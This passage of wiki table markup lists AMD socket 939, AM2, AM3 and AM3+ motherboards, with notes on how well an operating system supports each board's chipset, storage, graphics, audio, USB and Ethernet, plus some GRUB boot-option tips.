| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;AsRock 939Dual-SATA2 
| &lt;!--Chipset--&gt;Ali Uli M1695 PCIe with M1567 AGP 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;2 ports 
| &lt;!--SATA--&gt;1 Sata with JMicron JMB360 chip 
| &lt;!--Gfx--&gt;1 pci-e and 1 agp 
| &lt;!--Audio--&gt;AC97 with ALC850 codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek RTL8201CL PHY ULi 10/100 
| &lt;!--Opinion--&gt;64bit pci-e and agp combo on board - 4 ddr slots - 
|}


=====Socket AM2 (2006/8) and AM2+ (2007-2010) =====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA-M61PME-S2 (rev. 2.x) 
| &lt;!--Chipset--&gt;NVIDIA® GeForce 6100 / nForce 430 chipset
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{maybe|VESA 2d for vga}}
| &lt;!--Audio--&gt;{{yes|HDAudio Realtek ALC662 Audio Codec}}
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus M2N61-AR mini itx 
| &lt;!--Chipset--&gt;NVIDIA nForce 430
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 
| &lt;!--SATA--&gt;2 
| &lt;!--Gfx--&gt;GeForce 6150SE via vga or 1 pci-e slot 
| &lt;!--Audio--&gt;HD Audio with codec 
| &lt;!--USB--&gt;Nvidia
| &lt;!--Ethernet--&gt;Nvidia 
| &lt;!--Opinion--&gt;2006 32bit - 1 pci - 2 ddr2 dimm slots non-eec - 
|-
| &lt;!--Name--&gt;asus m2n68-am se2
| &lt;!--Chipset--&gt;nvidia 630a 630/a MCP68SE 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 ports 
| &lt;!--SATA--&gt;2 ports MCP61 chipset is SATA over IDE, not SATA over AHCI and reports subsystem as 0x1 IDE, not 0x6 SATA 
| &lt;!--Gfx--&gt;{{Yes|nvidia 7025 2d and 3d thru vga}}
| &lt;!--Audio--&gt;{{Yes|hd audio with realtek alc662 codec}}
| &lt;!--USB--&gt;{{Yes| }}
| &lt;!--Ethernet--&gt;{{Yes|nForce chipset RTL 8201CP}}
| &lt;!--Opinion--&gt;2007 64bit Phenom IIX2, Athlon 64 LE X2, Sempron, and Phenom FX processors - ddr2 667Mhz ram max 4Gb - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA-MA770-UD3 (rev. 1.0)
| &lt;!--Chipset--&gt;AMD 770 with SB700 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes| }}
| &lt;!--SATA--&gt;{{yes| }}
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;{{yes|ALC888 codec }}
| &lt;!--USB--&gt;{{yes|USB2}}
| &lt;!--Ethernet--&gt;{{yes|rtl8169 8111C later 8111D}}
| &lt;!--Opinion--&gt;Good support for AM2+ / AM2 with 4 ddr2 ram - 4 x PCI Express x1, 2 x PCI slots - firewire T.I. TSB43AB23 chip no support - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus M3A32-MVP Deluxe
| &lt;!--Chipset--&gt;AMD 790FX RD790 + SB600 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;{{No|Marvell 88SE6121 SATA II}} 
| &lt;!--Gfx--&gt;pci-e 1.1 support 
| &lt;!--Audio--&gt;{{No|HD Audio ADI® AD1988}} 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{No|Marvell 88E8056}} 
| &lt;!--Opinion--&gt;
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;ASROCK N68-S N68C-S
| &lt;!--Chipset--&gt;AMD based nForce 630a 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes}}
| &lt;!--SATA--&gt;{{yes|slimline DVD drive works}}
| &lt;!--Gfx--&gt;{{maybe|GF 7025 use vesa}}
| &lt;!--Audio--&gt;{{yes|HDAudio for VIA 1708S VT1705}} 
| &lt;!--USB--&gt;{{Maybe|echi usb 2.0}}
| &lt;!--Ethernet--&gt;{{no|RTL8201EL / 8201CL - nforce}} 
| &lt;!--Opinion--&gt;2008 unbuffered 1066Mhz ddr2 ram - N68C-S may need noacpi added to grub boot line to disable pci temporarily to run as it cannot get to [PCI] Everything OK - 
|-
| &lt;!--Name--&gt;Asus M2N68-AM Plus 
| &lt;!--Chipset--&gt;Athlon 64, Sempron, Athlon 64 X2, Athlon 64 FX with nvidia 630a 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;no vga, pci-e slot only 
| &lt;!--Audio--&gt;{{yes|HD Audio with ALC662 codec}} 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{no|RTL8211CL Gigabit LAN}} 
| &lt;!--Opinion--&gt;adding &quot;noacpi noapic noioapic&quot; to the GRUB options - Dual channel DDR2 1066, 800, 667 MHz  - 
|-
| &lt;!--Name--&gt;Gigabyte GA-M68M-S2 (1.0) S2P (2.3) S2L GA-M68SM-S2 (1.x) 
| &lt;!--Chipset--&gt;nForce 630a chipset
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;NVIDIA® GeForce 7025,  vga (s2 and s2p), dvi (s2l) 
| &lt;!--Audio--&gt;ALC883 (S2), ALC888B (S2P), ALC662 (S2L), 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;RTL 8201CL (S2), 8211CL (S2P), 8211BL (S2L), 
| &lt;!--Opinion--&gt;2008 64bit possible with AMD AM2+ CPU on AM2 motherboard, the system bus speed will downgrade from HT3.0(5200MHz) to HT1.0(2000 MT/s) spec 
|-
| &lt;!--Name--&gt;ASUS M2N68-VM 
| &lt;!--Chipset--&gt;nForce 630a (MCP68PVNT) 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Nvidia GeForce ® 7050PV hdmi, dvi and vga 
| &lt;!--Audio--&gt;HD audio VIA 1708B codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;RTL 8211C 
| &lt;!--Opinion--&gt;2008 64bit - ddr2 800Mhz 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


=====Socket AM3 White socket (2010/11)=====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;Gigabyte GA-MA74GM-S2 GA-MA74GM-S2H
| &lt;!--Chipset--&gt;740g with sb710
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes| }}
| &lt;!--SATA--&gt;{{yes|bios IDE}}
| &lt;!--Gfx--&gt;Radeon 2100 and pci-e slot 
| &lt;!--Audio--&gt;ALC888 (r1.x),ALC888b (r2.0), ALC888B (rev4.x) 
| &lt;!--USB--&gt;USB2 
| &lt;!--Ethernet--&gt;rtl8169 Realtek 8111C later 8111D
| &lt;!--Opinion--&gt;2010 64bit - 2 x 1.8V DDR2 DIMM sockets max 8 GB - Micro ATX Form Factor 24.4cm x 23.4cm - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;[http://www.vesalia.de/e_aresone2011.htm Aresone 2011]
| &lt;!--Chipset--&gt;760g 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{Yes}}
| &lt;!--Gfx--&gt;{{Maybe|no Radeon HD3000 driver yet&lt;br&gt;vesa driver works&lt;br&gt;and add PCIe card}}
| &lt;!--Audio--&gt;{{Yes|HD Audio}}
| &lt;!--USB--&gt;{{Yes|USB2.0}}
| &lt;!--Ethernet--&gt;{{yes}}
| &lt;!--Opinion--&gt;Good support - 4 DDR3 memory sockets - 
|-
| &lt;!--Name--&gt;Foxconn A76ML-K 3.0
| &lt;!--Chipset--&gt;AMD 760g rev3.0
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{Yes|1 }}
| &lt;!--SATA--&gt;{{Yes|4 in IDE mode }}
| &lt;!--Gfx--&gt;HD3000 with pci-e slot  
| &lt;!--Audio--&gt;HDAudio with ALC662-GR codec 
| &lt;!--USB--&gt;USB2 
| &lt;!--Ethernet--&gt;rtl8169 rtl8111E 
| &lt;!--Opinion--&gt;2011 64bit - 2 ddr3 slots - 2 pci slots - 
|-
| &lt;!--Name--&gt;GA-MA770T-UD3P (rev. 1.0 to 1.4) 
| &lt;!--Chipset--&gt;amd 770 with sb710 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{yes|4 sata}} 
| &lt;!--Gfx--&gt;pci-e
| &lt;!--Audio--&gt;{{yes|HDAudio with Realtek ALC888 codec}}
| &lt;!--USB--&gt;{{yes| }}
| &lt;!--Ethernet--&gt;{{yes|rtl8168 rtl8111c/d}}
| &lt;!--Opinion--&gt;2011 64 - 4 ddr3 dimm slots - 
|-
| &lt;!--Name--&gt;Gigabyte GA-MA770-UD3 (rev. 2.0 2.1)
| &lt;!--Chipset--&gt;AMD 770 with SB700 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes| }}
| &lt;!--SATA--&gt;{{yes| }}
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;{{yes|ALC888 codec }}
| &lt;!--USB--&gt;{{yes|USB2}}
| &lt;!--Ethernet--&gt;{{yes|rtl8169 8111C later 8111D}}
| &lt;!--Opinion--&gt;Good support for AM3 with 4 ddr2 ram - 4 x PCI Express x1, 2 x PCI slots - firewire T.I. TSB43AB23 chip no support - 
|-
| &lt;!--Name--&gt;Asus M4A785TD-M PRO
| &lt;!--Chipset--&gt;785G and SB710 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{Maybe|ide legacy}} 
| &lt;!--Gfx--&gt;{{Maybe|ATI Radeon HD 4200 - use vesa}} or pci-e 2.0 slot 
| &lt;!--Audio--&gt;{{Yes|HD Audio}}
| &lt;!--USB--&gt;{{Yes| }}
| &lt;!--Ethernet--&gt;{{Yes| }}
| &lt;!--Opinion--&gt;Good support with 1366 ddr3 ram - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;ASUS M4A88T-I Deluxe ITX 
| &lt;!--Chipset--&gt;AMD 880G with AMD SB710
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;Three SATA 3Gbps
| &lt;!--Gfx--&gt;Radeon HD 4350 GPU with HDMI and DVI or One 16x PCI-Express 2.0 
| &lt;!--Audio--&gt;HDAudio with Realtek ALC889 
| &lt;!--USB--&gt;6 x USB 2, 2 x USB 3
| &lt;!--Ethernet--&gt;{{No|Realtek RTL8112L}} 
| &lt;!--Opinion--&gt;2014 64bit - 2 SODIMM DDR3 slots max 8GB
|-
| &lt;!--Name--&gt;Asus M4A88T-M Version E5907 E5826 
| &lt;!--Chipset--&gt;AMD 880G SB710 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Radeon 4250 
| &lt;!--Audio--&gt;HD Audio with VIA VT 1708S codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek rtl8169 8111E 
| &lt;!--Opinion--&gt;2010 64bit - 
|-
| &lt;!--Name--&gt;GigaByte 890GPA-UD3H
| &lt;!--Chipset--&gt;AMD 890GX together with SB850
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;Yes
| &lt;!--Gfx--&gt;use pci-e nvidia 
| &lt;!--Audio--&gt;Maybe - ALC892 rev. 1.0, ALC892 rev 2.1, ALC889 rev. 3.1 
| &lt;!--USB--&gt;Yes
| &lt;!--Ethernet--&gt;Yes
| &lt;!--Opinion--&gt;works well overall 
|-
| &lt;!--Name--&gt;Gigabyte GA-890FXA-UD7 
| &lt;!--Chipset--&gt;AMD 890FX with SB850 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes| }}
| &lt;!--SATA--&gt;{{yes|IDE }}
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;ALC889 (rev 2.x) 
| &lt;!--USB--&gt;{{Yes|AMD USB2 but limited with NEC D720200F1 USB3}}
| &lt;!--Ethernet--&gt;2 x Realtek 8111D 
| &lt;!--Opinion--&gt;2012 64bit - XL-ATX Form Factor 32.5cm x 24.4cm - 4 ddr3 slots - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI 890GXM-G65 
| &lt;!--Chipset--&gt;890GX + SB750
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;{{Maybe|legacy}}
| &lt;!--Gfx--&gt;{{Maybe|ATI 4290 built-in (vesa)}} 
| &lt;!--Audio--&gt;{{Maybe|ALC889 DD GR}} HD Audio crackles 
| &lt;!--USB--&gt;{{Yes}}
| &lt;!--Ethernet--&gt;{{Yes|RTL 8169}}
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;ASRock N68-VS3 FX
| &lt;!--Chipset--&gt;NVIDIA® GeForce 7025 / nForce 630a
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;4 Sata2 
| &lt;!--Gfx--&gt;Integrated NVIDIA® GeForce 7025 
| &lt;!--Audio--&gt;HD Audio with VIA® VT1705 Codec 
| &lt;!--USB--&gt;USB2 
| &lt;!--Ethernet--&gt;Realtek PHY RTL8201EL
| &lt;!--Opinion--&gt;2010 64bit - 2 x DDR3 DIMM slots - 
|-
| &lt;!--Name--&gt;MSI GF615M-P35 MS-7597
| &lt;!--Chipset--&gt;NVIDIA® nForce 430
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;GeForce 6150SE 
| &lt;!--Audio--&gt;{{Maybe|HD Audio with Realtek® ALC888S}}
| &lt;!--USB--&gt;{{No|freezes}}
| &lt;!--Ethernet--&gt;{{No|Realtek 8211CL}}
| &lt;!--Opinion--&gt;2010 64bit 
|-
| &lt;!--Name--&gt;Gigabyte GA-M68MT-S2 
| &lt;!--Chipset--&gt; nForce 630a 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;NVIDIA® GeForce 7025 vga 
| &lt;!--Audio--&gt;ALC888B (1.3), ACL887 (3.1), 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;RTL8211CL (all) 
| &lt;!--Opinion--&gt;2010 64bit possible, AMD AM3 CPU on this motherboard, the system bus speed will downgrade from HT3.0 (5200MT/s) to HT1.0 (2000 MT/s) spec 
|-
| &lt;!--Name--&gt;Gigabyte GA-M68MT-S2P 
| &lt;!--Chipset--&gt; nForce 630a 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;NVIDIA® GeForce 7025 vga 
| &lt;!--Audio--&gt;ALC888B (1.x 2.x), ALC889 (3.0), ALC888B/889 (3.1),  
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;RTL8211CL (all) 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus M4N78 PRO 
| &lt;!--Chipset--&gt;NVIDIA GeForce 8300  
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 xUltraDMA 133/100 
| &lt;!--SATA--&gt;6 xSATA 3 Gbit/s ports
| &lt;!--Gfx--&gt;Integrated NVIDIA® GeForce® 8 series GPU with 1 PCIe 2.0 slot 
| &lt;!--Audio--&gt;HD Audio with VIA1708S 8 -Channel  codec 
| &lt;!--USB--&gt;12 USB 2.0 ports (8 ports at mid-board, 4 ports at back panel)  
| &lt;!--Ethernet--&gt;NVIDIA Gigabit 
| &lt;!--Opinion--&gt;4 x DIMM, Max. 16 GB, DDR2 1200(O.C.)/1066*/800/667 ECC,Non-ECC,Un-buffered Memory - ATX Form Factor 12 inch x 9.6 inch ( 30.5 cm x 24.4 cm ) - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|}


=====Socket AM3+ Black socket (2012/15)=====

*095W FX-6300 FD6300WMHKBOX (bulldozer SSE4.1 AVX) 970 mobos with FX-8320E 8core Black Editions FD832EWMHKBOX  FX-8370E  (Vishera/Piledriver) 
*125W FX-6310 (bulldozer) 970 mobos with FX-8320 FX-8350 FX-8370 (Vishera/Piledriver) 
*220W 990FX mobos with FX-9000 FX-9370 FX-9590 

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;ASUS M5A78L-M LX3 
| &lt;!--Chipset--&gt;AMD 760G with SB710
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes| }}
| &lt;!--SATA--&gt;{{Yes|bios IDE mode}}
| &lt;!--Gfx--&gt;HD3000 with pci-e slot 
| &lt;!--Audio--&gt;HDAudio with ALC887, V? ALC892 codecs 
| &lt;!--USB--&gt;USB2 
| &lt;!--Ethernet--&gt;{{No|Qualcomm Atheros 8161/8171 add realtek 8111? pci-e card}}
| &lt;!--Opinion--&gt;2012 64bit - uATX Form Factor 9.6  inch x 7.4  inch ( 24.4  cm x 18.8  cm ) - 2 x DIMM, Max. 16GB, DDR3 - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA-78LMT-S2P
| &lt;!--Chipset--&gt;AMD 760G and SB710 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{yes|6 SATA2 ports}}
| &lt;!--Gfx--&gt;GT240 and a nv7900gs, both pci-e 
| &lt;!--Audio--&gt;{{Maybe|ALC889 (r3.1), ALC??? (rev. 4.0), ALC887 (r5.x)}}
| &lt;!--USB--&gt;4 USB2 
| &lt;!--Ethernet--&gt;{{Maybe|Realtek 8111E (r3.1), Atheros (rev4.0), Atheros (r5.x) }}
| &lt;!--Opinion--&gt;2012 offers very poor control over its EFI vs. BIOS booting partition features 
|-
| &lt;!--Name--&gt;Gigabyte GA-78LMT-USB3 (r3.0), (r4.1 Blue board), (r5.0 dark board), (rev6 dark mobo)
| &lt;!--Chipset--&gt;AMD 760G and SB710 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes| }}
| &lt;!--SATA--&gt;{{yes|Bios IDE mode for SATA2 on early ones}}
| &lt;!--Gfx--&gt;AMD HD3000, pci-e GT240 and a nv7900gs 
| &lt;!--Audio--&gt;{{Maybe|ALC??? (r3.0), ALC887 (r4.1), VIA VT2021 (r5.0), Realtek® ALC892 codec (rev6) }}
| &lt;!--USB--&gt;{{yes|AMD USB2 but not VIA® VL805 USB3}}
| &lt;!--Ethernet--&gt;Realtek GbE 
| &lt;!--Opinion--&gt;2013 64bit - Micro ATX Form Factor 24.4cm x 24.4cm - 4 x DDR3 DIMM sockets - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI 760GM 
| &lt;!--Chipset--&gt;ATI 760G plus SB710
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{yes| }}
| &lt;!--Gfx--&gt;HD3000 Use Vesa 
| &lt;!--Audio--&gt;{{Maybe|P33 VT1705; P34, P21 and P23 (FX) MS7641 v3.0 ALC887,  E51 ALC892}}
| &lt;!--USB--&gt;{{yes| }}
| &lt;!--Ethernet--&gt;{{Yes|Realtek}} 
